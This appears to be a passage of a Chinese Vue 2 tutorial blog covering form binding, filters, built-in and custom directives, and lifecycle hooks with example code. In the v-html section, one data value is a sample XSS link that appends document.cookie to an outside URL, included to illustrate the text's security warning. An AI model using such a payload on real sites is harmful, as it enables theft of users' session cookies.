        <h1>学生信息:</h1>
        <button @click="addAge">年龄+1</button>
        <button @click="addSex">添加属性:{性别:男}</button>
        <button @click="editSex">修改性别{女}</button>
        <button @click="addFirends">在列表首位添加一个朋友</button>
        <button @click="editFirstFirend">修改列表首位朋友名字为张三</button>
        <button @click="addFirstLastHoppy">首、尾添加一个爱好</button>
        <button @click="editFirstHoppy">修改第一个爱好为开车</button>
        <h1>姓名:{{student.name}}</h1>
        <h1>年龄:{{student.age}}</h1>
        <h1 v-if="student.sex">性别:{{student.sex}}</h1>
        <ul>
            爱好
            <li v-for="(h,index) in student.hoppy" ::key="index">{{h}}</li><br><br><br>
            朋友
            <li v-for="(f,index) in student.firends" ::key="index">{{f.name}}--{{f.age}}</li>
        </ul>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
                student: {
                    name: "TOM",
                    age: 18,
                    hoppy: ["打篮球", "踢足球", "看电影"],
                    firends: [{
                        name: "Jeery",
                        age: 22
                    }, {
                        name: "tony",
                        age: 25
                    },]
                }
            }, methods: {
                addAge() {
                    Vue.set(this.student, "age", this.student.age + 1)
                },
                addSex() {
                    //Vue.set(this.student, "sex", "男")
                    this.$set(this.student, "sex", "男")
                },
                editSex() {
                    Vue.set(this.student,"sex","女")
                },
                addFirends() {
                    this.student.firends.unshift({name: "王五",age: 38})
                },
                editFirstFirend() {
                   this.student.firends[0].name="张三"
                },
                addFirstLastHoppy() {
                    this.student.hoppy.unshift("玩游戏")
                    this.student.hoppy.push("学习")
                },
                editFirstHoppy() {
                    //不生效
                    //this.student.hoppy[0]="开车"
                    this.student.hoppy.splice(0,1,"开车")
                },
            },
        })
    </script>

1.11 收集表单数据

 1.11.1 数据收集

收集表单数据:

(1)<input type="text"> v-model收集的是value的值,用户输入的value。

(2) <input type="radio"> v-model收集的是value的值,选中标签所配置的的value。

(3)<input type="checkbox">

(3.1)若没有配置input的value属性,那么v-model收集的是checked勾选状态(true/false)

(3.2)若配置input的value属性:

(3.2.1)如果v-model绑定非数组,那么v-model收集的是checked勾选状态(true/false)

(3.2.2)如果v-model绑定数组,那么v-model收集的是checked勾选选择框对应的value


    <div id="root">
    <form @submit.prevent="demo">
        账号:<input type="text" v-model.trim="userinfo.username">
        <br>
        密码:<input type="password"  v-model="userinfo.password">
        <br>
        年龄:<input type="number"  v-model.number="userinfo.age">
        <br>
        性别:
        <input type="radio" name="sex" v-model="userinfo.sex" value="boy">男
        <input type="radio"  name="sex"  v-model="userinfo.sex" value="girl">女
        <br>
        爱好:
        <input type="checkbox"   v-model="userinfo.hoppy" value="抽烟">抽烟
        <input type="checkbox"  v-model="userinfo.hoppy" value="喝酒">喝酒
        <input type="checkbox"   v-model="userinfo.hoppy" value="打牌">打牌
        <br>
        所属校区:<select v-model="userinfo.address">
            <option value="请选择">请选择</option>
            <option value="北京校区">上海校区</option>
            <option value="武汉校区">武汉校区</option>
            <option value="合肥校区">合肥校区</option>
            <option value="黑龙江校区">黑龙江校区</option>
        </select>
        <br>
        其他信息:<textarea v-model.lazy="userinfo.memo"></textarea>
        <br>
        <input type="checkbox" v-model="userinfo.apply">阅读并接受<a href="https://www.baidu.com" target="_blank" >《用户协议》</a>
        <br>
        <button>提交</submit>

    </form>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
                userinfo:{
                    username:"",
                    password:"",
                    age:"",
                    sex:"boy",
                    hoppy:[],
                    address:"",
                    memo:"",
                    apply:"",
                }
            },
            methods: {
                demo(){
                    // console.log(this.userinfo)
                    console.log(JSON.stringify(this.userinfo))
                }
            }
        })

    </script>

 1.11.2 v-model的修饰符

v-model的三个修饰符:

(1)lazy:失去焦点后收集数据

(2)number:输入字符串转为有效数字,一般配合type="number"使用。

(3)trim:过滤收尾所有的空格,字符串中间空格无法过滤。

1.12 过滤器

1.12.1 概念

当我们获得了一个时间戳,我们并不需要这个获取到的时间戳,需要这个时间戳代表的时间,此时我们可以用过滤器将其过滤,然后获取对应的时间后使用。

 1.12.2过滤器使用

过滤器:

        定义:对要显示的数据进行特定格式化后在显示(适用于一些简单的逻辑处理)。

        语法:

        (1)注册过滤器:Vue.filter(name,callback)或者new Vue(filters:{})。

        (2)使用过滤器:{{xxx | 过滤器名}} 或 v-bind:属性="xxx | 过滤器名"。

        备注:

        (1)过滤器也可以接受额外的参数,多个过滤器也可以串联

        (2)并没有改变原本的数据,只是产生了新的数据。

 <div id="root">
        <h1>显示格式化后的时间</h1>
        <!-- 计算属性实现 -->
        <h1>{{fmtTime}}</h1>
         <!-- methods实现 -->
         <h1>{{getFMTime()}}</h1>
         <!-- 过滤器实现 -->
         <h1>{{time | timeFormater }}</h1>
         <h1>{{time | timeFormater('YYYY_MM_DD') |mySlice}}</h1>
        <!--  <h1>{{time | timeFormaterManyParam('YYYY_MM_DD')}}</h1> -->
    </div>
    <div id="root2">
        <h1>显示格式化后的时间</h1>
         <!-- 过滤器实现 -->
         <h1>{{time  }}</h1>
         <h1>{{time | mySlice}}</h1>
        <!--  <h1>{{time | timeFormaterManyParam('YYYY_MM_DD')}}</h1> -->
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        Vue.filter("mySlice",function (value){
                    return "aaa"
                })
        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
                time:Date.now() 
            },
            computed:{
                fmtTime(){
                    return dayjs(this.time).format("YYYY-MM-DD HH:mm:ss")
                }
            },
            methods: {
                getFMTime(){
                    return dayjs(this.time).format("YYYY-MM-DD HH:mm:ss")

                }
            },
             filters:{
                timeFormater(value,frm='YYYY-MM-DD HH:mm:ss'){
                    return dayjs(value).format(frm)
                },
                mySlice(value){
                    return value.slice(0,4)
                }
               /*  timeFormaterManyParam(value,ftr){
                    return dayjs(value).format(ftr)
                },*/
            }  
        })
        const vm2 = new Vue({
            el: '#root2',
            data: {
                time:Date.now() 
            },
            computed:{

            },
            methods: {

            }
        })

    </script>

1.13 内置指令

1.13.1 学过的指令

v-bind:单项绑定解析表达式,可简写为:xxx

v-model:双向数据绑定

v-for:遍历数组,对象,字符串

v-on:绑定事件监听,可简写为@

v-if:条件渲染(动态控制节点是否存在)

v-else:条件渲染(动态控制节点是否存在)

v-show:条件渲染(动态控制节点是否显示)

1.13.2 v-text:

(1)作用:向所在的节点中渲染文本内容

(2)与差值语法不同,v-text会替换掉节点中所有的内容,{{xxx}}则不会替换


    <div id="root">
        <div>你好,{{name}}</div>
        <div v-text="name">你好,</div>
        <div v-text="h1">你好,</div>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
                name:"test",
                h1:"<h1>test</h1>",
            },
            computed:{
            },
            methods: {
            }
        })
    
    </script>

1.13.3 v-html:

v-html指令:

(1)作用:向指定节点渲染包含html结构的内容。

(2)与差值语法的区别:

        (2.1)v-html 会替换掉节点中的所有内容,{{xx}}则不会。

        (2.2)v-html 可以识别html结构

(3)严重注意:v-html有安全性问题!!!

        (3.1)在网站上动态渲染任意HTML是非常文献的容易导致XSS攻击。

        (3.2)一定要在可信的内容上使用v-html,永远不要用在提交的内容上。


    <div id="root">
        <div>你好,{{name}}</div>
        <div v-html="h1"></div>
        <div v-html="a"></div>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
                name:"test",
                h1:"<h1 style='color:red'>test</h1>",
                a:"<a href=javascript:location.href='https://www.baidu.com?'+document.cookie>点我</a>",
            },
            computed:{
            },
            methods: {
            }
        })
    
    </script>

1.13.4 v-cloak:

v-cloak指令(没有值)

(1)本质是一个特殊的属性,Vue创建完毕后,会删掉c-cloak属性。

(2)使用css配合v-cloak可以解决网速慢导致的页面站输出{{xxx}}的问题。


    <style>
        [v-cloak]{
            display: none;
        }
    </style>
    <div id="root">
        <div v-cloak>你好,{{name}}</div>
    </div>
    <script type="text/javascript">
        setTimeout(function () {
            //5秒之后创建vue实例 模拟网路缓慢,js加载过慢
            Vue.config.productionTip = false;
            //创建vue实例
            const vm = new Vue({
                el: '#root',
                data: {
                    name: "v-cloak测试",
                },
                computed: {
                },
                methods: {
                }
            })
        }, 5000)
    </script>

1.13.5 v-once:

v-once指令:

(1)v-once所在的节点在初次动态渲染之后就视为静态内容了。

(2)以后数据的改变不会引起v-once所在结构更新,可以用于优化性能。

    <div id="root">
        <div v-once>初始化n={{n}}</div>
        <div >当前n={{n}}</div>
        <button @click="n++">点我n++</button>
    </div>
    <script type="text/javascript">
            Vue.config.productionTip = false;
            //创建vue实例
            const vm = new Vue({
                el: '#root',
                data: {
                    n: 0,
                },
                computed: {
                },
                methods: {
                }
            })
    </script>

1.13.6 v-pre:

v-pre指令:

(1)跳过其所在节点的编译过程。

(2)可利用它条过没有使用指令语法,没有使用差值语法的节点,可以加快编译。


    <div id="root">
        <div v-pre>静态内容</div>
        <div v-pre>初始化n={{n}}</div>
        <div v-pre>当前n={{n}}</div>
        <button v-pre @click="n++">点我n++</button>
    </div>
    <script type="text/javascript">
            Vue.config.productionTip = false;
            //创建vue实例
            const vm = new Vue({
                el: '#root',
                data: {
                    n: 0,
                },
                computed: {
                },
                methods: {
                }
            })
    </script>

1.14 自定义指令

参数:

(1)指令所绑定的元素

(2)绑定指令的具体实现

1.14.1 函数式


    <!-- 
        需求:
            1:v-big指令,类似于v-text,可以把数值方法10倍
     -->
    <div id="root">
        <h2>当前的n=<span v-text="n"></span></h2>
        <h2>放大10倍的n=<span v-big="n"></span></h2>
        <h2>放大10倍的n=<span v-big-number="n"></span></h2>
        <button @click="n++">点我n++</button>
    </div>
    <script type="text/javascript">
            Vue.config.productionTip = false;
            //创建vue实例
            const vm = new Vue({
                el: '#root',
                data: {
                    n: 21,
                },
                directives:{
                    //big何时被调用:1.指令与元素成功绑定时(页面刚加载);(2)指令所在的模板被重新解析时
                    big(element,binding){
                        /* console.log(element)
                        console.log(binding.value*10) */
                        element.innerText=binding.value*10
                    },
                    "big-number"(element,binding){
                        /* console.log(element)
                        console.log(binding.value*10) */
                        element.innerText=binding.value*10
                    },
                }
            })
    </script>

1.14.2 对象式

  <!-- 
        需求:
            2:v-fbind指令,类似于v-bind,可以让所绑定的input获取焦点
     -->
    <div id="root">
       <input type="text" v-fbind:value="n">
       <button @click="n++">点我n++</button>

    </div>
    <script type="text/javascript">
            Vue.config.productionTip = false;
            //创建vue实例
            const vm = new Vue({
                el: '#root',
                data: {
                    n: 21,
                },
                directives:{
                    fbind:{
                       //1.指令与元素成功绑定时(页面刚加载)
                        bind(element,binding){
                            element.value=binding.value
                        },
                        //2.指令所在元素插入页面时
                        inserted(element,binding){
                            element.focus()
                        },
                        //3.指令所在的模板被重新解析时
                        update(element,binding){
                            element.value=binding.value
                            element.focus()
                        }
                    }
                }
            })
    </script>

1.14.3 总结

(1)定义语法:

        (1.1)局部指令:                             

//创建vue实例
            const vm = new Vue({
                directives:{
                    //函数式
                    big(element,binding){
                        },
                    //对象式
                    fbind:{
                         //1.指令与元素成功绑定时(页面刚加载)
                         bind(element,binding){
                             element.value=binding.value
                           },
                         //2.指令所在元素插入页面时
                         inserted(element,binding){
                                element.focus()
                            },
                         //3.指令所在的模板被重新解析时
                         update(element,binding){
                             element.value=binding.value
                             element.focus()
                            }
                        }
                    }
                   
                }
            })

         (1.2)全局指令:

                 (1.2.1)Vue.directive(指令名:配置对象)

                 (1.2.2)Vue.directive(指令名:回调函数)

(2)配置对象中常用的三个回调:

        (2.1)bind:指令与元素成功绑定时调用。

        (2.2)inserted:指令所在元素被插入到页面中时调用。

        (2.3)update:指令所在模板被更新时调用。

(3)备注:

        (3.1)定义指令时不加v-,但是使用时加v-

        (3.2)指令如果是多个单词要用kebab-case方式命名,不要用canelCase命名

                

1.15生命周期

1.15.1 概念

生命周期:

(1)又名:生命周期回调函数,生命周期函数,生命周期钩子。

(2)是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。

(3)生命周期函数的名字不可更改,但是函数的具体内容是根据具体需求编写的。

(4)生命周期函数中的this指向的是vm或组件实例的对象。

 1.15.2 重要的生命周期

 vm的生命周期:

创建之前==》调用brforeCreate()函数

创建完毕==》调用created()函数

挂载之前==》调用beforeMount()函数

挂在完毕==》调用mounted()函数==================》【重要的钩子】

更新之前==》调用beforeUpdate()函数

更新完毕==》调用updateed()函数

销毁之前==》调用beforeDestory()函数==============》【重要的钩子】

销毁完毕==》调用destoryed()函数

 <div id="root">
        <h2 :style="{opacity}">欢迎来打山东省</h2>
        <button @click="stop">点我停止变化</button>
        <button @click="die">点我停止变化(杀死)</button>
        <button @click="change">透明度变化</button>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
                opacity: 1,
                intervalId:"",
            }, methods: {
                change() {
                   this.intervalId=  setInterval(() => {
                    console.log(this.intervalId)
                        this.opacity -= 0.01;
                        if (this.opacity <= 0) {
                            this.opacity = 1
                        }
                    }, 20)
                },
                stop(){
                    //停止之后,还可以通过其他方式来修改透明度而且生效
                    clearInterval(this.intervalId)
                },
                die(){
                    //停止之后,vue销毁,其他操作不会再生效,但是定时器还在工作。
                    // clearInterval(this.intervalId)
                    this.$destroy();
                   
                },
            },
            mounted() {
                this.change()
            },beforeDestroy() {
                /*容器不一定有明确的destroy指令,可能因为某些原因导致没有 die()方法,
                所以不应该在 die()里结束容器,应该杀死容器之前 清除定时器*/
                clearInterval(this.intervalId)
            },

        })
    </script>

1.15.3 总结

常用的生命周期狗子:

(1)mounted:发送ajax请求,启动定时器,绑定自定义事件,订阅消息等初始化操作。

(2)beforeDestroy:清除定时器,解绑自定义时间,取消消息订阅等收尾工作。

关于vue销毁:

(1)销毁后的Vue借助开发者工具看不到任何信息。

(2)销毁后的自定义事件会失效,但是原生dom时间依然有效。

(3)一般不会beforeDestroy中操作数据,因为操作了也不会再触发更新,而且立刻销毁。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值